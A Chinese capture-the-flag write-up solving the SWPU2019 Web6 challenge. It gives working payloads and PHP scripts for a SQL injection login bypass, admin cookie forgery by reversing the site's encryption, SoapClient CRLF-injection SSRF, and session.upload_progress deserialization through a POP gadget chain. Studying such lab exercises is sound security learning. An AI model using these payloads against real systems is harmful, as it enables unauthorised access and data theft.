[SWPU2019]Web6

[SWPU2019]Web6

SQL注入

方法一

验证机制是用户名和密码分开单独验证,并且没有检查空密码

payload

1
username=1' or '1'='1' group by passwd with rollup having passwd is NULL#&passwd=

查出来一个用户并且密码为空,正好可以和passwd没有传值是NULL相匹配

方法二

写脚本注入,参考

SWPU2019-Web题解

伪造admin

登陆上后查看cookie,然后查看wsdl.php

调用get_flag提示

mark

mark

找到读取文件的方法,还有一个hint,于是依次读取index.php,encode.php,interface.php,se.php keyaaaaaaaasdfsaf.txt

mark

(不知为何Chrome的HackbarPOST不管用)

encode.php是对cookies的加密,user=后面的字符串为加密后的内容

写出解密脚本,然后伪造成admin,key为txt中的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
function decrypt($data, $key)
{
$key = md5($key);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($key);
$char = '';
for ($i = 0; $i < $len; $i++)
{
if ($x == $l)
{
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
$str = '';
for ($i = 0; $i < $len; $i++)
{
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))
{
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
}
else
{
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
return $str;
}
function en_crypt($content,$key){
$key = md5($key);
$h = 0;
$length = strlen($content);
$swpuctf = strlen($key);
$varch = '';
for ($j = 0; $j < $length; $j++)
{
if ($h == $swpuctf)
{
$h = 0;
}
$varch .= $key{$h};

$h++;
}
$swpu = '';

for ($j = 0; $j < $length; $j++)
{
$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
}
return base64_encode($swpu);
}
$key="flag{this_is_false_flag}";
$data="3J6Roahxag==";
echo decrypt($data,$key);
$admin="admin:1";
echo en_crypt($admin,$key);

改cookie后变成welcome admin,成功伪造成admin

SSRF

因为要127.0.0.1,很容易联想到SSRF

在se.php中存在关键代码

1
ini_set('session.serialize_handler', 'php');

于是想到session反序列化,又要ssrf,想到利用Soap进行SSRF

getflag方法总的来说就是构造文件上传写入session文件,然后利用session 反序列化,生成一个soapclient 对象,然后加上crlf设置cookie,进行越权 ssrf

上传SESSION

Soap反序列化写入SESSION

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$target = 'http://127.0.0.1/interface.php';
$post_string = 'a=1&b=2';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: user=xZmdm9NxaQ==',


);
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'wupco^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers), 'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
$aaa = str_replace('&', '&', $aaa);
echo $aaa;
//结果
O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:30:"http://127.0.0.1/interface.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:109:"wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: user=xZmdm9NxaQ==";s:13:"_soap_version";i:1;}

本地写一个html页面用于上传文件,利用session.upload_progress写入session

1
2
3
4
5
6
7
8
9
<html>
<body>
<form action="http://905705f8-b6ff-431a-b953-c2c5ff0d70ed.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

抓包修改

mark

触发SESSION反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
class aa {
public $mod1;
public $mod2;

public function __call ($name, $param) {
if ($this->{$name}) {
$s1 = $this->{$name};
$s1();
}
}

public function __get ($ke) {
return $this->mod2[$ke];
}
}

class bb {
public $mod1;
public $mod2;

public function __destruct () {
$this->mod1->test2();
}
}

class cc {
public $mod1;
public $mod2;
public $mod3;

public function __invoke () {
$this->mod2 = $this->mod3 . $this->mod1;
}
}

class dd {
public $name;
public $flag;
public $b;

public function getflag () {
session_start();
var_dump($_SESSION);
$a = array(reset($_SESSION), $this->flag);
echo call_user_func($this->b, $a);
}
}

class ee {
public $str1;
public $str2;

public function __toString () {
$this->str1->{$this->str2}();
return "1";
}
}
$first = new bb();
$second = new aa();
$third = new cc();
$four = new ee();
$first->mod1 = $second;
$third->mod1 = $four;
$f = new dd();
$f->flag = 'Get_flag';
$f->b = 'call_user_func';
$four->str1 = $f;
$four->str2 = "getflag";
$second->mod2['test2'] = $third;
//var_dump($first);
echo serialize($first);

目的是触发get_flag方法

1
bb->__destruct()`===>`aa->__call()`===>`cc->__invoke()`===>`ee->__toString()`===>`dd->getflag()

pop链可以用反向分析的方法得到。

触发session反序列化得到Soap对象爬取到的flag,然后输出

发送给se.php即可得到flag

mark

学习一下session.upload_progress

php>5.4时,php.ini有如下默认配置

1
2
3
4
5
6
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
  • enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
  • cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
    • cleanup=on时考虑条件竞争进行利用
  • name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
  • prefix+name将表示为session中的键名

Reference

SWPU2019-Web题解

利用session.upload_progress进行文件包含和反序列化渗透

第十届SWPUCTFwriteup

PHP中SESSION反序列化机制